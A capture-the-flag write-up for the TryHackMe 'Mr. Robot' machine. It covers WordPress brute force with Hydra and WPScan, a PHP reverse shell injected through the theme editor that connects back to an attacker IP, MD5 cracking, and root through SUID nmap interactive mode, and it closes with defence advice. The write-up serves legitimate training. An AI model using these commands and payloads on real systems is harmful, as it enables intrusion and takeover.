Mr. Robot CTF — TryHackMe Writeup (Linux, Medium)

Attack Chain Overview

CODE

Nmap → ports 80/443 (Apache + WordPress)
        ↓
robots.txt → Key 1 + fsocity.dic wordlist
        ↓
Hydra + WPScan → brute force WordPress credentials (elliot)
        ↓
WordPress Theme Editor → PHP reverse shell in archive.php
        ↓
Shell as daemon → /home/robot/password.raw-md5
        ↓
Crack MD5 → su robot → Key 2
        ↓
SUID nmap --interactive → !sh → root
        ↓
Key 3 in /root/

Phase 1 — Reconnaissance

Nmap Scan

BASH

nmap -sV -sC --min-rate 100 10.10.66.127

CODE

PORT    STATE   SERVICE  VERSION
22/tcp  closed  ssh
80/tcp  open    http     Apache httpd
443/tcp open    ssl/http Apache httpd

Key observations:

SSH is closed — no direct SSH access
Port 80 and 443 both run Apache — same web app on HTTP and HTTPS
The SSL cert says www.example.com — CTF machine, not a real domain

Web Directory Enumeration

BASH

dirb http://10.10.66.127
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.66.127

Notable paths discovered: /wp-login, /wp-admin, /dashboard, /robots.txt. The presence of /wp-login immediately identifies this as a WordPress installation.

robots.txt — Key 1 + Wordlist

Navigating to http://10.10.66.127/robots.txt:

CODE

User-agent: *
fsocity.dic
key-1-of-3.txt

Why check robots.txt? It's a file that tells web crawlers which paths to avoid indexing. Developers sometimes accidentally list sensitive paths here. In this case, it exposed both the first flag and a custom wordlist fsocity.dic — a dictionary file themed around the Mr Robot show.

BASH

# Download the wordlist
wget http://10.10.66.127/fsocity.dic

# Check its size — likely has duplicates
wc -l fsocity.dic

🏁 Key 1 found at http://10.10.66.127/key-1-of-3.txt

Phase 2 — WordPress Credential Brute Force

Username Enumeration with Hydra

WordPress leaks whether a username is valid through different error messages:

Wrong username → Invalid username
Right username, wrong password → The password you entered for the username...

This makes username enumeration trivial with Hydra:

BASH

hydra -L fsocity.dic -p test123 10.10.66.127 \
  http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -V

Result: Username is Elliot (a character from the Mr Robot show).

Why this works: The -L flag feeds the wordlist as usernames while -p keeps the password fixed at a dummy value. We're not trying to find the password here — just confirm which username triggers the different error message.

Password Brute Force

The fsocity.dic file has many duplicates which would slow down the brute force. Sort and deduplicate first:

BASH

sort -f fsocity.dic | uniq -i > sort.txt
wc -l sort.txt   # much smaller now

Why deduplication matters: If fsocity.dic has 858,000 lines but only 11,000 unique entries, brute forcing with the original file wastes 98% of requests. Always deduplicate wordlists before brute forcing.

Now use WPScan — purpose-built for WordPress and handles rate limiting and WordPress-specific auth better than Hydra:

BASH

wpscan --url http://10.10.66.127 -t 50 -U elliot -P sort.txt

Credentials found:

CODE

Username: elliot
Password: ER28-0652

Phase 3 — Initial Access via WordPress Theme Editor

Login to WordPress Dashboard

Navigate to http://10.10.66.127/wp-login and log in as elliot.

Inject Reverse Shell via Theme Editor

Navigate to: Appearance → Editor → archive.php

Why archive.php? WordPress theme PHP files are served directly by the web server. If you can edit a theme file and inject PHP code, triggering that file via the browser executes your code as the web server user (daemon). archive.php is a good target because it's rarely used and easy to trigger by visiting a non-existent archive URL.

Replace the entire contents of archive.php with a PHP reverse shell (generate one from revshells.com using the PHP fsockopen method):

PHP

<?php
set_time_limit(0);
$ip = 'YOUR_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('sh', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

Save the file, start a listener, then trigger it:

BASH

# Listener on Kali
nc -lvnp 4444

# Trigger archive.php in browser or curl
curl http://10.10.66.127/?cat=1   # any archive URL triggers archive.php

Shell received as daemon.

Upgrade the Shell

BASH

python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Phase 4 — Lateral Movement to robot (Key 2)

Enumerate /home/robot

BASH

daemon@linux:/home$ ls
robot
daemon@linux:/home$ cd robot && ls -la

CODE

-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

key-2-of-3.txt is only readable by robot — but password.raw-md5 is world-readable. This is the path to lateral movement.

BASH

daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Crack the MD5 Hash

Why MD5 is weak: MD5 produces a 128-bit hash and has no salt — meaning the same password always produces the same hash. Rainbow tables and online lookup databases like CrackStation have pre-computed hashes for billions of common passwords. This hash cracks instantly.

Submit to crackstation.net:

Hash: c3fcd3d76192e4007dfb496cca67e13b

Cracked: abcdefghijklmnopqrstuvwxyz

Switch to robot and Get Key 2

BASH

daemon@linux:/home$ su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ cat key-2-of-3.txt

🏁 Key 2 captured.

Phase 5 — Privilege Escalation to Root via SUID Nmap (Key 3)

Check sudo and SUID Binaries

BASH

sudo -l   # prompts for password — robot can't use sudo

BASH

find / -perm -4000 -type f 2>/dev/null

CODE

/bin/ping
/bin/su
/usr/bin/passwd
/usr/bin/sudo
/usr/local/bin/nmap       ← NOT a default SUID binary ★
/usr/lib/openssh/ssh-keysign

Why SUID matters: The SUID (Set User ID) bit means the binary runs as its owner (often root) regardless of who executes it. If a SUID binary can be abused to spawn a shell or execute arbitrary commands, you get those commands running as root.

Why nmap SUID is suspicious: nmap has no legitimate reason to be SUID root. It's a non-default configuration — and it's a well-known GTFOBins entry.

Check Nmap Version

BASH

nmap --version

CODE

nmap version 3.81

Why the version matters: Nmap 3.81 is ancient (2005). Old versions of nmap had an --interactive mode that allowed running shell commands from within the nmap prompt. This feature was removed in newer versions precisely because it was a security risk. With SUID set, this becomes an instant root escalation.

Exploit via Interactive Mode

BASH

robot@linux:~$ nmap --interactive

Starting nmap V. 3.81
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
root

Why !sh works: The ! prefix in nmap's interactive mode passes the command to /bin/sh. Since nmap is running as root (SUID), the shell spawned by !sh inherits root privileges.

Reference: GTFOBins — nmap

Get Key 3

BASH

# cd /root
# ls
key-3-of-3.txt
# cat key-3-of-3.txt

🏁 Key 3 captured. All three flags collected.

Key Commands Reference

BASH

# Recon
nmap -sV -sC --min-rate 100 10.10.66.127
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.66.127

# Key 1
curl http://10.10.66.127/robots.txt
wget http://10.10.66.127/fsocity.dic
curl http://10.10.66.127/key-1-of-3.txt

# Wordlist cleanup
sort -f fsocity.dic | uniq -i > sort.txt

# Username brute force
hydra -L fsocity.dic -p test123 10.10.66.127 \
  http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -V

# Password brute force
wpscan --url http://10.10.66.127 -t 50 -U elliot -P sort.txt

# Listener
nc -lvnp 4444

# Shell upgrade
python -c 'import pty; pty.spawn("/bin/bash")'

# Switch to robot
su robot   # password: abcdefghijklmnopqrstuvwxyz

# SUID enumeration
find / -perm -4000 -type f 2>/dev/null

# Nmap SUID escalation
nmap --interactive
# then: !sh

Lessons Learned

What Worked Well

Checking robots.txt immediately paid off — it gave the first flag and the custom wordlist in one step. Always check /robots.txt early.
Deduplicating the wordlist before brute forcing saved significant time — the original file had huge numbers of duplicates.
SUID binary enumeration with find / -perm -4000 is a quick, reliable privesc check that should always be run after gaining a shell.

What to Do Faster Next Time

Recognize WordPress faster from the directory scan — /wp-login, /wp-admin, and /wp-content are unmistakable. Jump straight to WPScan rather than spending time with generic dirb scans.
When you see a .raw-md5 file, crack it immediately rather than trying other lateral movement methods first.

Detection & Defense

How to detect this attack:

Alert on multiple failed WordPress login attempts from a single IP (brute force pattern)
Monitor WordPress theme file modifications — editing theme PHP files outside of a deployment pipeline is highly suspicious
Log all SUID binary executions, especially non-standard ones like /usr/local/bin/nmap

How to prevent it:

Enable WordPress login rate limiting or use a plugin like Wordfence to block brute force
Disable the WordPress Theme/Plugin Editor in wp-config.php: define('DISALLOW_FILE_EDIT', true);
Never store passwords as unsalted MD5 — use bcrypt, Argon2, or at minimum salted SHA-256
Audit SUID binaries regularly — nmap has no legitimate reason to have the SUID bit set. Remove it: chmod u-s /usr/local/bin/nmap
Keep software updated — nmap 3.81's interactive mode was a known risk even in 2005

Technique Summary

Step	Technique	Why It Worked
Key 1	robots.txt disclosure	Developer accidentally exposed flag path and wordlist
Username enum	WordPress error message difference	WP leaks valid usernames via distinct login errors
Password crack	Hydra + WPScan brute force	Custom wordlist contained the actual password
RCE	WordPress Theme Editor	Admin users can edit PHP files which execute server-side
Key 2	MD5 hash crack	Unsalted MD5 cracked instantly via rainbow table lookup
Root	SUID nmap --interactive	Ancient nmap version with interactive shell mode set SUID root